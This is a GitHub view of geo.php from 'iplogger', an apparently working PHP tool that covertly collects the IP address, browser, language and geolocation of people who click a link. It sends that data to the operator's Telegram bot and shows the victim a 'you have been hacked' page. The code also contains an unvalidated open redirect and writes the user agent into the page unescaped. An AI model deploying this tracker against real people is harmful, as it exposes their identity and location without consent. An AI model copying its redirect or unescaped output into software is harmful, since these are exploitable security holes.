-
Notifications
You must be signed in to change notification settings - Fork 8
/
geo.php
90 lines (74 loc) · 2.3 KB
/
geo.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
/*
iplogger - receive on telegram the ip info and the location of the user who clicked the link
Copyright (C) 2018 91DarioDev github.com/91DarioDev
iplogger is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
iplogger is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with iplogger. If not, see <http://www.gnu.org/licenses/>.
*/
require('telegramapi.php');
require('config.php');
require('ipapi.php');
require('tinyurlapi.php');
if (!empty($_GET['redir'])){
header('Location: '.$_GET['redir']);
} else {
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$accept=$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$today = date("l, F j, Y, g:i a") ;
$script_url = $_SERVER['SCRIPT_URI'];
$message = "
Ip: $ip
Browser: $userAgent
Lingua: $accept
Giorno & Ora : $today
Url: $script_url
";
$res = get_ip_info($ip);
if ($res !== null){
$message .= "\n<b>Info ip:</b>\n";
foreach($res as $key => $value){
$message .= $key.": ".$value."\n";
}
}
$message .= "source code: https://github.com/91DarioDev/iplogger";
echo '<html>
<head>
<title></title>
</head>
<body>
<div align="center" style="background-color:black">
<font color="lightgreen" size="6">
<h1>SEI STATO HACKERATO: </h1>
<hr width="50%" />
<h2>ecco i tuoi dati: </h2>
'.nl2br($message).'
<hr width="50%"/>
<h3>Inviaci un commento</h3>
<form action="comment.php" method="get">
Nome: <input type="text" name="nome" /><br />
Commento: <textarea name="commento"></textarea><br />
<input type="submit" name="invia" value="invia" /><br />
</form>
</font>
</div>
</body>
</html>';
}
sendLocation(
$bot_admin_id,
(float)$_GET['lat'],
(float)$_GET['lon'],
null,
false,
(int)$_GET['mid']
);
?>